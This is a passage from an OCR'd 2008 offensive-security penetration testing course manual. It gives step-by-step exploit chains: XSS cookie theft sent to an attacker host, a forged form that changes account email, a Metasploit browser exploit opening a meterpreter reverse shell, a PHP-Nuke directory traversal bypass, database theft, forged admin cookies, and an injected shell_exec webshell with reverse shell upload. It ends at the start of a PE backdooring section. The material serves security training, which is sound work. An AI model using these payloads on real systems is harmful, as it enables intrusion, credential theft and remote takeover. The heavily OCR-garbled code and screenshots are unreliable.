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Introduction

The field of penetration testing is constantly evolving. Both security awareness and security
technologies are on the rise, and the bar required to ‘“crack” the organizational perimeter is
constantly being raised. Public exploits and weak passwords rarely do the job of breaking the
corporate security boundary, which requires the attacker to have an expanded set of skills in order to

successfully complete the penetration test.

In this course we will examine several advanced attack vectors, based on real live scenarios we have
encountered from our penetration testing experience. In addition, we will add demonstrate several

"special features" available in BackTrack, designed to save you time and effort.

The “Web Application” module will discuss two interesting case studies of odd web application
vulnerabilities we encountered. The vulnerabilities were creatively exploited to gain access to the

internal network.

The “Backdoor angle” will discuss the various methods of supporting Trojan horse attacks, such as

Anti Virus software avoidance and injecting backdoor code into PE executables.

The “Advanced exploit development” module will go through interesting methods and techniques
required to successfully exploit modern day operating systems and introduce topics such as

bypassing ASLR, the use of egghunters in exploit development and more...

The “Oday angle” module will discuss the life cycle of finding bugs and developing exploits for
them. The use of spike for fuzzing cleartext and binary protocols will be examined. In addition, we
will manually create alphanumeric shellcode. This module includes some of the more intense

exploits we’ve written.

All in all, this course is aimed at exposing you to new techniques of attack, and helps you develop

lateral thinking skills.

© All rights reserved to Author Mati Aharoni, 2008
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The Web Application angle

Web applications are usually at the frontline of the cyber battle. From a security standpoint, they
present a much larger attack surface, and a higher probability of a successful attack. To add to this,

dynamic websites often host a back-end SQL server, which further increases the attack surface.

Fortunately for us attackers, web developers are usually unaware of most of the security
mechanisms required to properly secure a web application...and even if they are, there’s always the

human element that can create a critical security vulnerability in the code.

Cross Site Scripting Attacks - Scenario #1

Cross site scripting allows execution of java-scripts written by the attacker in the context of the
victim. By passing various html tags (most often <script>) as parameters to a target URL it's often

possible to trick the site into generating malformed content.

Although not as powerful as "remote code execution" attacks, XSS attacks can have devastating
implications to the integrity and confidentiality of a network. Due to the lack of “real code
execution” of these attacks, XSS vulnerabilities are often overlooked or ignored by administrators

and security auditors alike, with the belief that their security impact is minimal.

In this module we will aim to disprove that assumption, and demonstrate a real world penetration

testing scenario where a "mere" XSS vulnerability cracked the organizational perimeter wide open.
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Real World Scenario

During a penetration test, we determined that our client was running Merak Mail Server version
8.9.1.

bt framework3 # nc -v 192.168.240.131 110
192.168.240.131: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.240.131] 110 (pop3) open

+OK mail Merak 8.9.1 POP3 Fri, 27 Jun 2008 19:52:29 -0700 <20080627195229@mail>

After some examination, we realized that the Merak mail server was vulnerable to XSS attacks. By
sending a malformed mail to the system, we were able to get JavaScript to execute on the victim
machine. The following HTML code was sent to the victim by email in order to trigger the

vulnerability:

<html><body onload='alert ("XSS") '>
</body></html>

The victim browser executes the JavaScript we sent:

© All rights reserved to Author Mati Aharoni, 2008

9 BlackHat Vegas 2008




www.offensive-saecurity.com

‘B Inbox (1, 1) - IceWarp Web Mail (Admin} - Microsoft Internet Ex|
File Edit Wew Favortes Tools  Help | z’
@Back ~ &) ~ [ [2] .:}J | - search o Favorites @ Media 40 | = = B
Address @http:,l’;’lncalhost:SZUDD,I’maiI,I’bIankskin.html?\d=3?4401d9525b93c2?3d35185 | B |Links 2
-:ij Get Messages | @New Message | &) Search | (L Address Book 7 | ﬁ Calendar szl
© 2 Folders [ &~ subject From Time + Lenagth H
=2 Inbox (1/1)
=D prafts
= 3ent
=0 Trash
=
— 4
=] — T | m Delete Selected
Q Feeply Q Reply & Delete @ Reply al @ Forward @ Redirect | Fep
From: Admin Date : Fri, 27 Jun 2005 16:54:03 -0700 =
<admin@admin.com> [+]
To: admin [+]
Subject : test
hi there - LI
[&&] http:/localhost:32000) maljview. htmiPid=374401do525b93c273¢ | | | W Localintranst 7

Stealing Cookies

Whenever an XSS vulnerability is found in a site that maintains a session (usually though cookies)

it allows attackers to steal cookies from the victim. To exploit this vulnerability we need two things:

e any cookies the server has stored on the client

e the query string.

These two pieces of information can be accessed via the JavaScript document.cookie and
document.location functions.
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By sending the following html code to the victim, we would send the document.cookie and

document.location information to the attacker:

<html><body

onload="document.location.replace ("http://attacker/post.asp?name=victiml&message
=" + document.cookie + "<br>" + "URL:" + document.location);'>

</body></html>

Once the JavaScript is executed on the victim client browser, the session information is sent to us.

bt ~ # nc -vlp 80

listening on [any] 80

192.168.240.131: inverse host lookup failed: Unknown host

connect to [192.168.240.134] from (UNKNOWN) [192.168.240.131] 1107

GET
/post.asp?name=victiml&message=js_cipher=1;%20IceWarpWebMailSessID=f756aa83e5441
3de8378caf263al7ea5;%20lang=english<br>URL:http://localhost:32000/mail/view.html
?21d=8072a753e5940el3acc7420e77ab37a3&folder=inbox&messageindex=0&messageid=20080
6271706410010.tmp&count=2 HTTP/1.1

Accept: image/gif, image/x—-xbitmap, image/jpeg, image/pjpeg, */*

Referer:
http://localhost:32000/mail/blankskin.html?id=8072a753e5940el3acc7420e77ab37a3
Accept-Language: en-us

Accept-Encoding: gzip, deflate

User—Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR
1.1.4322)

Host: 192.168.240.134

Connection: Keep-Alive

We can use these credentials to login as the administrator as long as the session is active. To do that

we need to send the cookie we just got from our XSS attack to the mail server web interface.
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Logging in with no credentials
We will intercept a request to blankskin.html (the main script for reading mail), with our favorite

web proxy (Paros web proxy in this case), and inject the authentication cookie to it.

|http://victim:32000/mail/blankskin.html?id=8072a753e5940el3acc7420e77ab37a3

rﬂequest rﬂespunse rTrap |

GET hitp://192. 168 240,13 1:32000/mail/blankskin. htmlFid=8072a753e5940e13acc742 0877

1.1

Host: 192 168.240.131:32000

ser-Agent: Mozilla/S.0 (<11, U; Linux i98&; en-Us; rnv1.8.1.14) Gecko /20080404 Firefox/2.0.
cept: text/xml, application/xml, application/xhtml+xml,text /html; q=0.9,text /plain; q=0.8,imag:
cept-Language: en-us,en;q=0.5
cept-Charset: 50-8859-1,utf-8,9=0.7,7;0=0.7

keep-Alive: 300

Froxy-Cannection: keep-alive
ookie: js_cipher=1; lceWarpWebMailsessID=f755a3a83e54413de8378caf263al7eas

This should result in a successful login to the Merak mail system.
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= Inbox
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20 sent
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By logging into the administrators email account, we gathered a wealthy amount of information,

including passwords to various systems such as corporate DNS administration passwords, network

diagrams, server passwords and history, etc.
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This method of attack is not the most effective for this particular situation. The attacker has to hope

that the administrators session does not time out by the time the attack is over, and that will not

necessarily be the case.

We could use a different JavaScript snippet to extract the administrator's password, thus eliminating

the need for the session to be active. We would like to update the administrators account

information with the attacker's email address as the alternative address. This will allow us to

retrieve the password via the web interface later on.

In a test environment, we attempt to update the administrative account information in order to see

what parameters are sent to the web server.

Tamper Popup

~ http:f192.168.240.131:32000/mailfaccountsettings_add.html

Request Header Name

] Request Head... ]

Post Parameter Name

Post Paramet...

Host

User-fgent
Accept
Accept-Language
Accept-Encoding
Accept-Charset
Keep-Alive
Froxy-Connection
Referer

Cookie

192.168.240.1=
Maozilla/5.0 (¥11
text/xmlapplice
en-us,en;q=0.5
gzip, deflate
150-8859-1,utf-
300

keep-alive
hittp:/f192.168.2

lceWarpWebMa

id

accountid

Save x

action
account%5BUSERSED
account®%S5BEMAIL5D
account¥%SBPASSHED

account?5BPASS2%50

account?SBFULLMNAME . ..

accountSBALTEMAILS:. .

account%5BHOSTUSER... | admin.com%2F

account¥%SBCOLOR%ED % 23EF9496

Save_x Save+Changes
Cancel 8] 4

0f6495ac9886E

]

1

mad

admin.com%2F

admin%%40adm

Aotttk

btk

Admin

evil%d0admin.

14
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Since the mail system does not require users to provide their credentials before updating the

account, the process of updating settings can be done with a simple JavaScript.

</form>

<form method=POST name="frml" action="/mail/accountsettings_add.html">
<input type="hidden" name="id" value="x">

<input type="hidden" name="accountid" value="0">

<input type="hidden" name="Save_x" value="1">

<input type="hidden" name="account [USER]" value="admin.com/admin">
<input type="hidden" name="account [EMAIL]" value="admin@admin.com">
<input type="hidden" name="account [PASS]" value="*****x*x">

<input type="hidden" name="account [PASS2]" value="*****x*x">

<input type="hidden" name="account [FULLNAME]" value="">

<input type="hidden" name="account [ALTEMAIL]" value="evil@admin.com">
<input type="hidden" name="account [HOSTUSER]" value="admin.com/evil">
<input type="hidden" name="account [COLOR]" value="">

<input type="hidden" name="Save_x" value="Save+Changes">

</form>

<body onload='document.frml.id.value = document.main.id.value;
document .frml.submit (); '>

<form>

We added the </form> at the beginning of the code as we need to terminate the original form first.

The body onload event first sets the current session id and then posts the account update form.

© All rights reserved to Author Mati Aharoni, 2008

15 BlackHat Vegas 2008




www.offensive-security.com

Example of a situation similar to the one above:

<form>

<input type="text" name="user">

</form> we break out of the form and inject our own form
<form name="injected">

<input type="text" name="pass" value="injected"></form>
<form> correct the syntax

</form>

We send the JavaScript, and once executed, we can see that the account was actually updated!

© All rights reserved to Author Mati Aharoni, 2008
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ceWarp Web Mail - Account - Microsoft Internet Explorer
File Edit Mew Favorites Tools Help | ’:,'
&) Back ~ £ -~ [x] [2] .::j | ) Search < Favorites o Media 421 | [zl =
Address @ http: fflocalhost: 32000 mailf accountsettingsaction, bl j Go | Links *
s | 34 New Message | 20 Search | [ Address Book 7 | 75| Calendar 7 m =
Account
Account name : admin.com/admin
E-mail address ; admin@admin.com
| |Enter new password |--o-- |
Confitrn new passwaord [see0ee |
Mame : | |
Eq: Admin
flternate email address ; |evil@admin.cum |
Colar | |
nas O for
iation
Save Changes
-
4 | »
|@ |‘d Local inkranet 4

We proceed to click on the "forgot your password" link, and send a password reminder to both

administrative emails.
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@ lceWarp Web Mail - Windows Internet Explorer

Live Search

@O + ] http://192168.2401 + | 45 | X |

w4k [EI:EWarpWebMail l l o v v

>

1V, 4
IceWay }W_ail
L m——] ) .

TceWarp Web Mail

Password was sent to admin@admin.com and
evil@admin.com addresses

User name : || |

Password : | |
DEncrwted login

FEorgot your password?

Click here for fast login

Powered by IceWarp Software Merak Email Server
IceWarp Web Mail 5.6.7 (Expires in 13 days)

€ Internet | Protected Mode: Off

®100% -
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The password is promptly sent to us:

I

& Inbox (1) - IceWarp Web Mail (Evil) - Moxzilla Firefox
File Edit VYiew History Bookmarks Tools Help
@ -0 - @ 0 (G} [O vtp192168.240131:32000/mails | v [ B ] [[Cl=[Google [ ]
# Getting Started ) Latest Headlines || legincgi [ | Hotelguide.com - Hot..,
'Qii Get Messages | ._‘I-J Mew Message |gp Search | L} Address Book ¥ | Iﬂ Calendar F | g‘-‘ Setﬁngm
H = Folders [] @ Subject Eam Time = frnath '
= Inbox (1) & Forgotten password for a admin 0.43 kB
= [ orafts
=[] sent
23 7rash
[ Move []selected to OK
i~ja Reply [~ Reply & Delete =) Reply All {5, Forward iz Redirect | SR OIF
From: admin <admin@admin.com= [+] Date ; Fri, 27 Jun 2008 18:43: 12 -0700
To: evil@admin,.com [+]
Subject : Forgotten password for admin
Your account; "admin@admin.com” has password “admin”,
Done S
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Getting a shell

By using XSS vulnerabilities to redirect the client browser to any website, we can attempt to

redirect our victim to a web server hosting a malicious html, also known as a client side attack.

In the next scenario, we will set up a Metasploit Internet Explorer client side exploit, and redirect

our victim to it. The code we will send is:

<html><body onload='document.location.replace("http://192.168.240.134/vml");"'>
</body></html>

Once the email is opened, we can see Metasploit accept the http session, and work its magic.

The "setslice" exploit is just an example, and in this demo, we might need to execute the exploit

several times until successful code execution is achieved.

bt framework3 # ./msfcli exploit/windows/browser/ ms06_057_ webview setslice
SRVPORT=80 URIPATH=/vml PAYLOAD=windows/meterpreter/reverse_tcp
LHOST=192.168.240.134 E

[*] Started reverse handler

[*] Using URL: http://0.0.0.0:80/vml

[*] Local IP: http://192.168.240.134:80/vml

[*] Server started.

[*] Sending exploit to 192.168.240.131:1331...

[*] Transmitting intermediate stager for over-sized stage... (89 bytes)

[*] Sending stage (2650 bytes)

[*] Sleeping before handling stage...

[*] Uploading DLL (73227 bytes)...

[*] Upload completed.

[*] Server stopped.

[*] Meterpreter session 1 opened (192.168.240.134:4444 —> 192.168.240.131:1332)

meterpreter >

© All rights reserved to Author Mati Aharoni, 2008
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A little trick

A little trick I thought I'd mention while on the topic of client side attacks and the Metasploit
framework. Once we get our reverse Meterpreter shell from the client, we are running in the
iexplore.exe process space. If the user should close their browser (as it becomes non responsive),

our shell would die.

The Metasploit framework supports process migration, which allows us to migrate our Meterpreter
to a different process. For example, if we migrate Meterpreter to LSASS, our session would not be

killed when the victim closes their browser.

meterpreter > getuid

Server username: LAB2K3\Administrator
meterpreter > ps

Process list

PID Name Path

392 Smss.exe \SystemRoot\System32\smss.exe

472 winlogon.exe \??2\C:\WINDOWS\system32\winlogon.exe

516 services.exe C:\WINDOWS\system32\services.exe

528 lsass.exe C:\WINDOWS\system32\lsass.exe

1132 iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe

meterpreter > migrate 528

[*] Migrating to 528...

[*] Migration completed successfully.
meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM
meterpreter >

Challenge #1

Recreate the XSS attacks described in this module. Proceed to log in, alter the email, and get a shell

from the victim.
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Directory traversal - Scenario #2

Directory traversal allows attackers to bypass restrictions and trick the application into accessing an
incorrect file, usually outside of the web root. Suppose a web application allows users to display
files from the directory "c:\text_files\". If the application does not filter parameters correctly an
attacker might be able to request a file called "..\boot.ini". The resulting filename will be

"c:\text_files\..\boot.ini" which is a valid file-name (equals to "c:\boot.ini").

Once again, directory traversal attacks (or local file inclusion attacks for that matter) do not often
result in arbitrary code execution. For this reason these vulnerabilities are often overlooked or

ignored during a pen test.

The next module re-enacts a pentest performed on a large company, who hosted an in house,
hardened version of PHP-Nuke as an external portal for their employees. The directory traversal
attack, combined with other available resources was sufficient to creatively exploit and gain

SYSTEM access to the machine.

Real World Scenario

After examining strategic parts of the PHP-Nuke code, we encountered an interesting file —
“modules.php”. This file takes two parameters - name and file. These parameters are used to

determine which modules should be included during the runtime of PHP-Nuke.

The vulnerable code (modules.php - line #34:):

if (!isset (Smop) OR $mop != $_REQUEST['mop']) S$mop="modload";

if (!isset($file) OR S$file != $_REQUEST['file']) S$file="index";

if (stripos_clone ($file,"..") OR stripos_clone($mop,"..")) die("You are so
cool...");

The bold code at line three checks to see if the input string contains any occurrences of "..". This is

done this by calling the “stripos_clone” function, which is PHP-Nuke's version of stripos.
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The function then checks if the returned value is True (bigger than 0). If the returned value is bigger

than zero the check fails and the script exits with the error "You are so cool...". If the returned value

is False the input is considered safe.

The root of the problem

stripos returns the position of the first occurrence of a case-insensitive string... where’s the bug ?

If the first occurrence of ".." exists at the beginning of the string, stripos will return zero and the test

will be bypassed ! Test this for yourself, using this simple php script:

<?php

echo stripos ("aabbccddee", "aa");
//echo stripos("/../../../","..");
7>

The file parameter is later on used to determine which file to include. As we have bypassed the

security test we can now manipulate the final file name.

Line #53:
Smodpath .= "modules/S$name/".$file.".php"; # final file name created
if (file_exists (Smodpath)) {
include ($modpath) ; # final file name included / executed
} else {

include ("header.php") ;

OpenTable () ;

echo "<br><center>Sorry, such file doesn't exist...</center><br>";
CloseTable () ;

include ("footer.php") ;

Notice that $modpath is being set to "modules/$name/" . $file . ".php"
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If the file parameter is set to ="..\..\..\..\..\..\..\boot.ini %00 the file boot.ini will be displayed. Note
that a %00 character is used to terminate the URL string. This allows us to access files of any

extension and not just PHP files.

We can now exploit this vulnerability to read arbitrary files on the server.

http://web/modules.php?name=Downloads&file=..\..\..\..\..\..\..\boot.ini%00

Mozilla Firefox

File  Edit Wiew  History EBookmarks Tools Help

<EI - - @ ﬁ_l‘ ||_| http:/fweb/modules.php?name=Downloads &file=" .\ L L bootini%e 00 |v| &] -vl |\a\]

[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1 \WINDOWS [operating systems]
multi(0)disk(0)rdisk(0)partition(1 \WINDOWS ="Windows Server 2003, Standard" moexecute=optout
/fastdetect

Dane

L = 3

Stealing MySQL Tables

PHP is often used in conjunction with a MySQL backend database. By default, MySQL stores its
databases in files, which are located in the MySQL data directory. Each database has its own sub
folder and each table has three files associated with it - table. MYI, table. MYD and table.frm.

After careful enumeration and analysis of the underlying operating system and respective versions
of server software being used, we concluded that the default table mysql.user would be stored in

three files - user.MYIL, user.MYD and user.frm, located in C:\apachefriends\xampp

\mysql\data\mysqI\.

Since we can access any file on the filesystem, we can download these tables using this
vulnerability. After examining a local installation of PHP-Nuke, we noticed that the default

behavior of the installation creates a database called nuke with several tables under it.
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The most interesting table is nuke_authors, as it contains usernames and hashed passwords for

administrative users.

We download the following files:

http://web/modules.php?name=Downloads&file=..\..\..\..\..\..\..\apachefriends\xa
mpp\mysgl\data\nuke\nuke_authors.MYI%00
http://web/modules.php?name=Downloads&file=..\..\..\..\..\..\..\apachefriends\xa
mpp\mysgl\data\nuke\nuke_authors.MYD%00
http://web/modules.php?name=Downloads&file=..\..\..\..\..\..\..\apachefriends\xa
mpp\mysgl\data\nuke\nuke_authors.frm$00

Viewing the stolen tables

In order to display and query the tables we’ve just recovered we need to have a MySQL server
installed. We copy the downloaded files to MySQL's data directory, and proceed to start the
MySQL server.

bt work # sudo —u mysqgl mysqgl_ install db

bt work # chown -R mysql:mysql /var/lib/mysql

t work # mkdir /var/lib/mysql/victim

bt work # mv nuk

nuke_authors.MYD nuke_authors.MYI nuke_authors.frm
bt work # mv nuke_authors.* /var/lib/mysql/victim/
bt work # ed /usr ; /usr/bin/mysqld_safe &

Once copied we should be able to execute a query such as this:

bt usr # mysql

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 1

Server version: 5.0.37 Source distribution

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysqgl> show databases;

e +
| Database |
e +
| information_schema |
| mysqgl |
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| test |
| victim |

4 rows in set (0.01 sec)
mysqgl> use victim
Reading table information for completion of table and column names

You can turn off this feature to get a quicker startup with -A

Database changed
mysqgl> show tables;

e +
| Tables_in_victim |
e +
| nuke_authors |
e +

1 row in set (0.00 sec)

mysgl> select * from nuke_authors;

fo—— o o e o
| aid |name| url | email | pwd

fo—— o o e o
| admin|God | http://local.com|admin@local.com| 21232f297a57a5a743894a0e4a801fc3
fo—— o o e o

1 row in set (0.00 sec)

mysql>

Using the password hash to login

We’ve identified the MDS5 hashed password of the “admin” user. Assuming it is very complex and

does not get cracked using the usual techniques — we are still locked out of the system.

After inspecting the admin.php (which is responsible for administrative login procedures), we
noticed that once a successful login occurs the following code executes to set the administrator's

authentication token.

admin.php - line #106:

Sadmin = base64_encode ("$aid: $pwd: S$admlanguage") ;
setcookie ("admin", $admin, time ()+2592000) ;
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This code creates a string of the administrator id + ":" + the administrator password hash + ":" + the
administrator's language. It then base64 encodes it and sets a cookie called "admin" with the final
results. Using this information, we can create our own authentication token using the already hashed

password!

All the information required for our token is available to us from the MySQL database we

downloaded earlier.

Our token will be:

Base64 ("admin: 21232f297a57a5a743894a0e4a801fc3:") =
YWRtaW46MjEyMzIdmMjk3YTU3YTVhNzQzODk0YTB1INGE 4MDFmY zM6

This token can be used to login to the administrative section of the web application at http://web/

admin.php. In order to inject our token, we post an empty login attempt and intercept the reply:

# Interceptor - REPLY O] x|
htbp: 1192, 163, 0, 102 /PHPMuke, admin. php %

Request Summary Raw |Headers| Content I

HTTF/1.1 200 OF =]
Date: Sun, 259 Ahpr 2007 14:47:00 GMT

Server: Apache/2.2.4 (Win32) DAV/2 wod ss1/2.2.4 OpenSSL/0.9.8d mod autoi
¥-Powered-Ey: PHPR/S5.Z.1

Content-Encoding: gzip

Varwv: lecept-Encoding

SJet-Cookie: admin=YWRtaU462jk2NjRlYTEQHDHZHTFinUmODFkHdeOGHSZTASHmQG:j
Content-Length: 3214

Content-Type: text/html

<0 .
4| | »

| Status: 200 (0K) A

Once the reply arrives we add the "Set-Cookie" http header to set our new authentication token.
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Owning the Server

We are now logged on. A request to http://192.168.240.131/admin.php shows:

¥9 PHP-Nuke Powered Site - Administration Menu - Mozilla Firefox ol x|
File Edit Wew History Bookmarks Tools  Help
& 5 @w R Bl [ o =

. Offensive-Security.c... |5y Latest Headlines

> ) Ll i
- S

I Topics I Top 10

Administration Menu

Home
* AvantGo -3 - e G
» Downloads & ~ A '*‘ -
T FAQ I fe
Feadback Backup DB Blocks Edit Admins Users Groups  HTTP Referers IP Ban
Journal .
* Private Messages )] - .’ “_ ’
* Recornmend Us a s E'fﬁ e N
" Search Mess;ges Moderation Modules Newsletter Optimize DB Preferences
' Statistics
* Stories Archive
* Submit Mews &) h

|—DDHE

Y

We have full administrative access to PHP-Nuke...but we still do not have access to the machine

itself. How can we use all the resources available to us in order to gain code execution?
Remember the directory traversal vulnerability, caused by the PHP include?

If <?php any-php-code ?> is found in a file called by the web server, PHP code will be executed,

However how can we control the contents of a file on the web server filesystem ?
The database table files from earlier contain data that we control!

Let's try to update the administrator's account information so it will contain PHP code inside.
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I PHP-Nuke Powered Site - Administration Menu - Mozilla Firefox -0l x|

File Edit ‘“ew History Bookmarks Tools  Help

@ - - @ X -ﬁ} |E] http:,l',l'l?Z.lEE.D.lEIZ,I'PHIL_-,I|"| [a-] -v

. Offensive-Security.c. .. EE', Latest Headlines |_| [Unkitled)

Marme: God ;I
Mickname: |admin (required)

Ernail: I [required)

JRL: Ihttp:ff{?php print shell_execi$_c

Permissions: v Super User

W ARNING : If Super User is checked, the user will gat full access!

Password: I—
Retype Passwaord: l— (For Changes Cnly)
Save I[ Go Back ]
J |

| Done

L

Eﬁa.l_ll

The PHP Code we injected to the URL field is:

| <?php echo shell_exec(base64_decode ($_GET["cmd"])); 2> |

This code reads a GET parameter called cmd, base64 decodes it, executes it as a system command
and prints the output. Now we can start executing system commands by requesting the
nuke_authors database file to be displayed. Note the cmd parameter which is the command we

execute. (base64("dir c:\") = ZGlyIGM6XA==

The resulting URL below executes, and shows a directory listing of the C drive.

http://web/modules.php?name=Downloads&cmd=2GlyIGM6XA==&file=. . \..\..\..\..\..\..
\apachefriends\xampp\mysqgl\data\nuke\nuke_authors.MYD%00
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Mozilla Firefox

File  Edit Miew History Bookmarks Tools Help

<f':| - - @ ﬁ_l‘ ||_| AU \apachefriendsixamppimysglidatainukeinuke_authaors MYD% 00 |T| [}] -v|
[ | @il ladmindGod

apachefriends 02/17/2008 07:35 PM 0 AUTOEXEC.BAT 02/17/2008 07:35 PM 0 CONFIG.SYS 02/17/2008 08:25 PM
Documents and Settings 02/18/2008 08:23 AM
FPSE_search 02/18/2008 08:24 AM
Inetpub 02/26/2008 08:16 PM
Logs 02/26/2008 08:18 PM
Program Files 02/26/2008 12:39 PM 1,890 web 02/26/2008 02:59 PM
WebSite 02/28/2008 05:57 AM
WINDOWS 02/17/2008 07:36 PM
wmpub 3 File(s) 1,890 bytes 9 Dir(s) 1,955,659,776 bytes free
[Hadmin@admin.com 21232f297a57a5a743894a0e4a801fc3Ele¢

Getting a shell

We can now execute any command we want by updating the admin URL field with PHP code. We

next create a PHP script that will allow us to upload files to the web server.

<?php
copy ($HTTP_POST_FILES['file'] ['tmp_name'], SHTTP_POST _FILES['file']['name']); 2>

Since we can execute shell commands we can echo this script into a PHP file. We base64 encode

our shell command:

echo "<?php
copy ($SHTTP_POST_FILES['file']['tmp_name'], SHTTP_POST FILES['file']['name']);
?>" > x.php

This command results in the following base64 string:

ZWNobyAiPDI9waHAQgY29weSgk SFRUUF9QTINUX0ZJTEVIWydmaWx1J11bJ3RtcFOuYW11J10sJEhUVEBE
UE9TVFI9GSUxFUlsnZmlsZSddWyduYW11J10pOyAgICAgICAgPz41ID4geC5waHAg
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We write the simple PHP “upload” script to the web server by sending the following request:

http://192.168.240.131/modules.php?name=Downloads&cmd=Z2WNobyAiPDI9waHAgY29weSgkSFE
RUUF9QTINUXO0ZJITEVIWydmaWx1J11bJ3RtcFO9uYW11J10sJEhUVFBfUE9TVF9GSUXFUlsnZmlsZSddWy
duYW11J10pOyAgICAgICAgPz41iID4geChwaHAg&file=..\..\..\..\..\..\..\apachefriends\x
ampp\mysqgl\data\nuke\nuke_authors.MYD%$00

After creating the PHP file, we try to access http://192.168.240.131/x.php to verify that is has been

created.
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-

& Moxilla Firefox
File Edit VYiew History Bookmarks Tools Help
@& - - @ L GO nepunoziesamasixphp [ B [[Cl=[coogle [&]
# Getting Started ) Latest Headlines || legincgi [ | Hotelguide.com - Hot..,
[} Metasploit Shellcode | [} http://192.168.240.131/xphp (3 | .
Done =

Our PHP file has been sucessfully created! We then use the following html code to interact with our

PHP script, and upload a binary reverse shell payload.

<html>

<head></head>

<body>

<form action="http://192.168.240.131/x.php" method="post"
enctype="multipart/form-data">
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<br><br>

Choose a file to upload:<br>

<input type="file" name="file"><br>

<input type="submit" name="submit" value="submit">
</form>

</body>

</html>

Now we upload a reverse shell executable.

33 Cupload.html - Microsoft Internet Exp =10 x|
File Edit Wiew Faworites Tools  Help ﬂ"
Back - €3 - %] 2] = | search - Favatites ¥

address [& Cupload html | B |Lnks ?

Choose a file to upload: B
|C:Rshe|l.exe Browse. . |
submit

K

Wl_l_l_l_l_hi My Compuker

Once our payload is uploaded, we need to execute it. We will execute the binary file via PHP. We

encode the command:

| Base64 ("shell.exe") = c2hlbGwuZXhl

And send the following http request

http://192.168.240.131/modules.php?name=Downloads&cmd=c2hlbGwuzxhl&file=..\..\..
\..\..\..\..\apachefriends\xampp\mysqgl\data\nuke\nuke_authors.MYD%00

The reverse shell payload is called and executed.
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=101 x|

File Edit ‘iew History  Bookmarks  Tools  Help

@ - - @ L) G L aaees[s] B [Clelsooge  [S4

. Offensive-Security.c... @ Latest Headlines |:| fUnkitled)

TitadminGod

| Stopped

We got SYSTEM access to the server!

Challenge #2

Recreate the Directory Traversal attack described in this module. Proceed to get a shell from the

victim.

34
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The Backdoor angle

This module will be a very rude introduction to the basic skills we’ll require in the main part of the
course. Many students pre-requisites will be assumed — probably too many. If you find a specific
topic or subtopic unclear, take some time to conduct the relevant research and understand the

underlying mechanisms involved.

Backdooring PE files under Windows Vista

In the next module, we'll be killing four birds with one stone. We'll be getting to know Ollydbg a bit
better, we'll get a whiff of ASLR, we’ll be doing cool stuff, and most importantly, we’ll be

experiencing the significance of those two little words, “Code Execution”.

Students often ask me to share the Windows tools I demonstrate in class. I gladly comply, and open
up a share to my “tools” directory. I then silently watch as the excited students start testing the tools

one by one, usually by double clicking on them, or running then in command line.

At this point, I stop the class, and ask the students if they are aware of what they have just done. I
ask them if they realize that they have just willingly accepted windows binaries from a hacker, and
freely executed them on their laptops...several times. I then proceed to show them the next

demonstration.

We're going to take a Windows binary file and inject malicious code into it (a reverse shell). We
will hijack the executable execution flow and redirect it to our introduced code. Once our malicious
code has run we will gracefully allow the original application to continue executing normally. The

victim won't even be aware that malicious code was run on his machine.

The following simplistic diagram shows the execution flow of the PE file, before and after

execution.
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Before After

Entry Point Entry Point

As you can gather from the diagram, we will be inserting our malicious code towards the end of the
executable, and redirecting the execution flow to it. Once our code is executed, we will carefully
need to jump back to the original code that was meant to be executed, and run it. Take some time to
study and understand the general outline of the modifications we’re about to make — its looks much

more complicated than it is in practice.
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Peeking around the file

Let’s begin by opening our target file - a popular TFTP server to get a general idea of what we’ll be

fighting with in the next module.

OllyDbg - ttpd32.exe - [CPU - main thread, module thpd32] - | Ellﬂ
@ File View Debug Options Window Help - | Elﬂ

Sl x| winf w4 L ] MEJJJEQHEB

Fauzed

e ¢ B Brecene EALL tfrpdoz. DES1ETLE Registers (FPU)
BGdlizes | .~ E9 FEFEFFFF JiF tftpdaz.adiliEs TR TR TS
BE411262 (5 SEFF MOY EDI,EDT En s
ga41l3ch (1. 55 FUSH_EBF EDY B841135E ©f tpd32, <Modu |
BA41136E || - BBEC MOU EBF,ESP o Sieas
Bad112e0 || - B1 FUSH ECH . ooEEAd AECIT ramLLe
BAd113E6E EE PLSH EST Bl e
BE4113EF SETE BC MOU ESI,CARGIE] el
BEd11ETE EE FUSH E5I L
Gadiizr= || - ES scoop@es CALL tftpdS2. BEd195FD0
fnaitacn ||; ERdE BE TDU ERODWORE BTR 0S:[EST+CT o o o oot TREPGEE. o]
. N :
. . : C @ ES BAZ2 22bit B(FFFFFF
ggj%{g;g . Ea - $EETEEf - F 1 C5 661E 23%bit 6(FFFFFA
. . A @ 5% BRZ3 S2hit BiFFFFFF
ead11321 || v 7E 1F JHZ SHORT tftpdae,@E411290 R
BA411383 EZ CEREABAE EALL tftpd3Z. BE412256 % ER e canqs ceEREnEd
Gadiizes || - CPeE PoPEEGEE | HOU DWORD FTR DS: CEARI,S 98 e aai
SR | i BS T moammenmisicia @
Ba411395 || v ES 2Fe10000 JHP tftpdae. BEd11409 0 b Lesiens (S SeEsse
padiizen [ » A2 48 TEST AL, dA EFL @eaasz4s (HO,HE, E.BE, M5
ead11zac || v 74 @D JE SHORT tftpd22. 6411208 T@ empty 0.0
BE41139E E2 ODAEABAE EALL tftpd3z, BE412256 T R e
Gadiizag (| C7ed 2zemeés  |MOU OWORD PTR DS:CEAW], 22 w201 S0EFs 8.0
ﬁﬂIA‘liﬂnﬂ M~ D B2 MDD CUMNDT +L4+-~A27 @ARAdAid 1200 ST3 Empty a'a
4 L ET4 empty @8
Bb41ETDE=tf tpdgz. OB41E7OE SIS empty 0.0
EMpty .
STV empty A.8
Zz1@
Address |Hen dump ASCIT FEE53233 o
PR4ZoREA| Bl DR OO GG FF FF FE FF| OF DR OO 00| 45 22 42 60| Q... A S
BR4Zoniol A1 0O 6O 60| 35 29 42 0|02 B DO 00| 2C 23 42 ool o...8)E_Jf So1SFEAC | BA1ZFFEC
BA4Z5020| A3 OO 0O 06|20 25 42 06|04 G0 06 06 10 25 42 ool e... 1B | B212FFEE | TrEFASED)
BR45030| b5 DD GO 02 B4 20 42 o) 0c bR oo oo o oo 42 oo slelB | BOLEEERE | TERORORRIS
Flﬂld?iﬁdl?l AY AR AA AR FR 258 42 AR AR AR AR AR NG 25 42 ARl - . . & T I ________
F 3 4 "

| Pragram entry paint

Fixing up our Code Cave

